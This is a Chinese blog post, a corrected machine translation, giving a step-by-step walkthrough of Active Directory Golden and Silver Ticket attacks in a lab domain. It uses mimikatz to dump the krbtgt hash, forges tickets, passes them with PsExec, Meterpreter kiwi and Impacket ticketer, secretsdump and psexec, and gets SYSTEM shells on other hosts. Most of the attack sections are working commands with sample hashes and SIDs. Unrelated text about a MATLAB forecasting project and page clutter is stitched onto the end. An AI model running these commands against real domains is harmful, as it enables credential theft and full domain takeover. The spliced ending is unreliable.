AD 权限维持-金票银票攻击

本文通过 Google 翻译 Domain Persistence – Golden Ticket and Silver Ticket Attacks 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

导航


0、前言

在这篇文章中,我们将探讨如何伪造黄金/白银票据,以及如何发起金票/银票攻击。

首先,我们将在 DC 的 GUI 环境下使用 Mimikatz 伪造黄金票据和白银票据,并看看如何在票据传递攻击中使用这些票据进行横向移动并访问网络上的其它计算机;最后,我们再探索一些无需在 DC 的 GUI 环境中便可远程执行票据传递攻击的其它工具。

金票攻击和银票攻击的主要区别在于:白银票据仅限于访问目标特定服务,而黄金票据则可以访问域中的任何 Kerberos 服务。

1、伪造黄金票据 – 本地 mimikatz.exe(GUI 环境)

金票攻击发生在攻击者获得 krbtgt 账户(生成 TGT 票据的帐户)的 NTLM 哈希之后,此时他们可以伪造合法的 TGT 票据,而无需与 KDC 通信。这使得攻击者能够以任意用户身份访问域内资源,从而实现对整个域的完全控制。

而为了能获得 krbtgt 账户的哈希以执行金票攻击,我们需要获取域控制器的管理组用户的权限。一旦获得了域管理员的权限,我们就可以使用 mimikatz 提取 krbtgt 的 NTLM 哈希以及域的 SID 等信息。

1.1、收集所需信息

mimikatz.exe 传输到 DC 机器之后,启动它并运行 privilege::debug 命令来确认当前用户是否拥有能够获取敏感信息的高权限。

.\mimikatz.exe
privilege::debug

当看到 Privielge '20' OK 的提示时,则意味着我们拥有着正确的权限,然后就可以使用以下命令来提取伪造黄金票据所需的信息了:

lsadump::lsa /inject /name:krbtgt

krbtgt 账户是 KDC 服务的服务账户。该账户和密码是在创建域时被创建的,密码通常不会被更改。

一旦获得了所需的信息,我们就可以使用以下 5 条信息去伪造一个模拟域管理员帐户的 TGT 票据:

  • Username: Administrator
  • Domain: juggernaut.local
  • SID: S-1-5-21-2365897340-51848609-3160590671
  • NTLM hash: e6b43234ea2ce6d8bafa4b17c7b3790f
  • RID: 500

注:krbtgt 用户信息的提取可以通过 mimikatz 的命令行模式(非交互式)进行,即 mimikatz.exe "lsadump::lsa /inject /name:krbtgt" "exit"

1.2、制作黄金票据

现在我们已经掌握了所需的信息,接下来就可以使用以下命令来伪造一个管理员级别的黄金票据:

注:为了能更清楚的呈现伪造票据带来的实际效果,以下实验建议在普通域主机上的普通域用户环境下进行。因为在域管理组账户的环境下,即便不伪造票据,它们仍旧可以去遍历网络上其它域主机上的目录以及通过 psexe 执行命令。

通过 mimikatz 获取 krbtgt 账户哈希的操作需要在 DC 上进行,但在获取到信息之后制作黄金票据,则可以在普通域主机上的普通域用户环境下进行。

Kerberos::golden /user:Administrator /domain:juggernaut.local /sid:S-1-5-21-2365897340-51848609-3160590671 /krbtgt:e6b43234ea2ce6d8bafa4b17c7b3790f /id:500 /ptt
  • /user 的参数可以是任何用户名,而不必是域中实际存在的用户。
  • /id 的参数对应的是赋予用户的 RID 值。实际上该参数才是决定了所创建用户的身份(权限),而非由上面的 user 参数指定的用户名称决定的。(默认情况下,administrator 身份的 RID 值通常都是 500。因此,Kerberos::golden * /user:test /id:500代表了为代号 test 的用户创建了一个管理员权限的金票。 )

注:若金票的制作是通过上述 /ptt 的方式进行制作,则必须在 GUI 环境下进行,否则会产生错误提示信息,导致金票无法被顺利制作。【通过命令 klist 可以看到新制作的票据。】

而若以不添加 /ptt 的方式制作,则命令行模式亦可成功,只是会在当前目录下产生一个 ticket.kirbi 的票据文件。

1.3、票据传递攻击

现在,我们已经伪造了具有管理员权限级别的黄金票据,接下来,就可以利用这张票据来执行金票攻击了。

为此,我们需要通过以下命令在我们伪造的票据上下文中打开一个新的 cmd shell:

注:伪造票据完成之后,直接打开新的 cmd 和通过 mimikatz 打开的 cmd 似乎并没什么区别。klist 列出的缓存票据中均存在新制作的票据。

misc::cmd

由于该命令会弹出一个 cmd shell,因此该命令一定要在 GUI 环境下执行。

为了确认我们现在能否访问网络上的另一台机器,可在新的 cmd shell 中执行以下命令进行验证:

dir \\hostname\c$

可以看到,我们现在能够轻松的就访问到网络中另一台主机上 C 盘的文件了。

但是,我们并不满足只是能够访问主机上的文件,我们还想要获得一个可以执行命令的完整 shell。为此,我们可以借助一个名为 PsExec64.exe 的工具来实现我们的需求。

将该工具下载并传输到 DC 机器上之后,运行以下命令即可获得对网络主机执行命令的 shell:

.\PsExec64.exe -accepteula \\hostname -s cmd

以上命令中,cmd 亦可被替换为 powershell 以获得 PowerShell 会话,添加“-s”选项则会为我们提供一个 SYSTEM 权限的 Shell。

从上面可以看到,通过票据传递攻击我们成功的横向移动到了网络中的另一台主机上。

2、伪造白银票据 – 本地 mimikatz.exe(GUI 环境)

白银票据的制作前提是需要获得服务账户的密码哈希,而服务账户的密码哈希可以是在攻陷 DC 之后获得、也可以是通过 kerberoasting 攻击并破解成功的方式获得,因此银票的制作不是必须非要在攻陷 DC 之后才能进行。

注:当攻击者能够获得运行着服务的域主机的本地管理员或 SYSTEM 权限时,通过 mimikatz 也是有可能(没遇到防护限制的话)获取到运行服务的域服务账户的哈希信息的。【命令:sekurlsa::logonPasswords

在大多数情况下,伪造银票与伪造金票并无太大区别,区别仅仅只是使用的账户由 krbtgt 账户变成了普通的服务账户。

2.1、收集所需信息

在这个示例中,假设我们成功入侵了一台普通域用户权限的域主机,然后找到并成功对名为 sqlservice 的服务帐户进行了 Kerberoasting 攻击,并且成功破解了该服务帐户的密码。

由于在使用 mimikatz 伪造银票的时候使用的密码是 NTLM 格式的,因此我们可以通过以下脚本将明文密码进行格式转换:

#!/bin/python

import hashlib,binascii
hash = hashlib.new('md4', 'P@ssw0rd1234!'.encode('utf-16le')).digest()
print binascii.hexlify(hash)

现在,服务帐户的密码已经被转换为 NTLM 哈希了。

接着,我们需要找到域的 SID 和服务帐户的 RID,可以使用以下命令获取:

注:既然有服务账户的凭证,那么也可以通过 impacket-lookupsid 去获取和下面一样的信息。

wmic useraccount get name,sid

至此,制作银票所需的信息均已被提取:

  • Username: sqlservice
  • Domain: juggernaut.local
  • SID: S-1-5-21-2365897340-51848609-3160590671
  • NTLM hash: 5ecb7fb923963202c6567e6fdcf6abdb
  • RID: 1111
2.2、制作白银票据

通过 mimikatz 伪造白银票据的命令如下:

注:以下关于作者对白银票据的生成方式似乎并不准确,本节末尾处有本人实践测试之后可以正常发起银票攻击的银票制作命令,可供参考。

Kerberos::golden /user:sqlservice /domain:juggernaut.local /sid:S-1-5-21-2365897340-51848609-3160590671 /rc4:5ecb7fb923963202c6567e6fdcf6abdb /id:1111 /ptt

伪造金票和银票使用的均是 kerberos::golden 命令。

  • /user 的参数和金票一样可以是任何用户名,而不必是域中实际存在的用户。
  • /id 的参数对应的是服务账户对应的 RID 值。

现在白银票据已经伪造完毕,那么它就可以像黄金票据一样进行传递了。唯一不同的是,银票仅限于访问服务账户可以访问的主机。

注:使用银票攻击更具隐蔽性,因为它只需拿着服务票据和提供服务的服务器进行验证交互,绕过了和 KDC 的交互。而金票攻击的隐蔽性则不如银票,因为它还需要拿着金票向 KDC 申请服务票,然后才能拿着服务票访问服务资源。

利用白银票据的另一种方法:首先获取目标主机自身的计算机账户的哈希,然后依此伪造一个访问 CIFS 或 HOST 类型的服务票据,然后就可以访问目标主机上的任意文件或远程 shell 了(这里需要注意,psexec.exe 只支持黄金票据的使用,不支持白银票据)。以下是两种工具伪造银票的命令用法:

示例实验环境介绍:win10 域主机、dc2012 域控、kali 攻击机。

(1)impacket-ticketer 伪造银票用法示例:在攻击机通过银票远程连接 win10 域主机。

impacket-ticketer -domain skylark.com -domain-sid S-1-5-21-1869548389-852568882-3188983647 -nthash ec02f279200357b58cb89cda87064833 -spn cifs/win10.skylark.com admin 
# nthash 参数对应的哈希是 win10 主机机器账户 win10$ 的哈希,末尾的 admin 是通过 impacket-secretsdump 登录时要使用的用户名。
export KRB5CCNAME=admin.ccache

impacket-secretsdump -k -no-pass admin@win10.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.14

(2)mimikatz 伪造银票用法示例:在 win10 域主机通过银票遍历 dc2012 域控的 c 盘目录。

.\mimikatz.exe
kerberos::golden /domain:skylark.com /sid:S-1-5-21-1869548389-852568882-3188983647 /target:dc2012.skylark.com /service:cifs  /rc4:d5025b8cfb84a5e0ceb443ebd3b2294a /user:administrator /ptt
misc::cmd
:: 特别注意参数 /target 和 /service 的用法,/rc4 是域控的机器账户 dc2012$ 的哈希。

dir \\dc2012.skylark.comt\c$
:: 目录遍历时,必须是带域名的格式,而不能是 \\dc2012 这样的格式;获取远程 shell 时,需使用 impacket-smbexe 去连接,psexec.exe 是不支持银票连接的。

3、伪造和票据传递的其它方式 – 远程(非 GUI 环境)

为了在没有 GUI 的情况下执行票据传递攻击,我们需要保存票据,以便在攻击者的机器上使用。我们将了解如何使用 meterpreter 和 ticketer.py 来实现这一点。

对于这些示例,我们主要使用黄金票据进行攻击,但也可以轻松编辑这些命令进行白银票据攻击。

3.1、伪造黄金票据 – Meterpreter Kiwi

在本例中,假设我们已经在受害者 DC 上站稳了脚跟,并已顺利升级到了域管理员权限,同时使用的 shell 也已升级到了 Meterpreter shell。

在 meterpreter shell 中,我们有一个内置的 mimikatz 扩展程序,名为 kiwi。我们可以使用 kiwi 像 mimikatz 一样执行黄金票据攻击。首先,我们需要找到 krbtgt 的 NTLM 哈希值和域的 SID,然后再使用这些信息来制作黄金票据。这一次,黄金票据将会被保存,然后我们可以将其加载到会话中,执行票据传递攻击。

3.1.1、制作黄金票据并发起票据传递攻击

首先,使用以下命令将 kiwi 加载到当前 meterpreter 会话中,然后转储 krbtgt 的 NTLM 哈希和域的 SID:

load kiwi
dcsync_ntlm krbtgt

请注意,SID 的最后 3 位数字是 RID。在将 SID 添加到伪造黄金票据的命令中时需要删除 RID。

接着,使用以下命令来伪造和保存黄金票据:

golden_ticket_create -d juggernaut.local -u administrator -s S-1-5-21-2365897340-51848609-3160590671 -k e6b43234ea2ce6d8bafa4b17c7b3790f -t /opt/evil.tck

然后,在当前会话中应用该票据:

kerberos_ticket_use /opt/evil.tck

最后,我们就可以进入常规 shell 并访问网络中不同主机上的文件了。

3.2、伪造黄金票据 – ticketer.py

伪造黄金票据的另一种方法是使用Impacket工具套件中的 ticketer.py 工具进行完全远程操作 。

在开始之前,仍需要像之前一样获取 krbtgt 哈希值和域 SID,但这次我们将远程执行这两个步骤。我们将使用 secretsdump.py 转储 DC 上的所有哈希值,并使用 lookupsid.py 查找域 SID。

secretsdump.py juggernaut.local/Administrator:'password'@172.16.1.5 | grep krbtgt

lookupsid.py juggernaut.local/Administrator:'password'@172.16.1.5 | grep -i "domain sid"

3.2.1、制作黄金票据并发起票据传递攻击

收集到所需信息之后,可使用以下命令伪造一张黄金票据:

ticketer.py -nthash e6b43234ea2ce6d8bafa4b17c7b3790f -domain-sid S-1-5-21-2365897340-51848609-3160590671 -domain juggernaut.local administrator

这会将黄金票据缓存到当前目录中一个名为 administrator.ccache 的文件中。

接下来,使用以下命令将此票据应用到我们当前的 bash 会话中:

export KRB5CCNAME=/opt/juggernaut/administrator.ccache

然后,使用以下命令在网络中的另一个主机上立足:

 psexec.py juggernaut.local/administrator@jugg-meisenhardt.juggernaut.local -target-ip 172.16.1.100 -dc-ip 172.16.1.5 -k -no-pass

在这个例子中,我们的目标主机是 172.1.6.1.100,其主机名是 jugg-meisenhardt。

注:登录用户需使用制作票据时使用的那个名称,target 貌似不能以 IP 地址替代。

原创作者: kqdssheng 转载于: https://www.cnblogs.com/kqdssheng/p/18894663
内容概要:本文档详细介绍了基于MATLAB实现的多头长短期记忆网络(MH-LSTM)结合Transformer编码器进行多变量时间序列预测的项目实例。项目旨在通过融合MH-LSTM对时序动态的细致学习和Transformer对全局依赖的捕捉,显著提升多变量时间序列预测的精度和稳定性。文档涵盖了从项目背景、目标意义、挑战与解决方案、模型架构及代码示例,到具体的应用领域、部署与应用、未来改进方向等方面的全面内容。项目不仅展示了技术实现细节,还提供了从数据预处理、模型构建与训练到性能评估的全流程指导。 适合人群:具备一定编程基础,特别是熟悉MATLAB和深度学习基础知识的研发人员、数据科学家以及从事时间序列预测研究的专业人士。 使用场景及目标:①深入理解MH-LSTM与Transformer结合的多变量时间序列预测模型原理;②掌握MATLAB环境下复杂神经网络的搭建、训练及优化技巧;③应用于金融风险管理、智能电网负荷预测、气象预报、交通流量预测、工业设备健康监测、医疗数据分析、供应链需求预测等多个实际场景,以提高预测精度和决策质量。 阅读建议:此资源不仅适用于希望深入了解多变量时间序列预测技术的读者,也适合希望通过MATLAB实现复杂深度学习模型的开发者。建议读者在学习过程中结合提供的代码示例进行实践操作,并关注模型训练中的关键步骤和超参数调优策略,以便更好地应用于实际项目中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值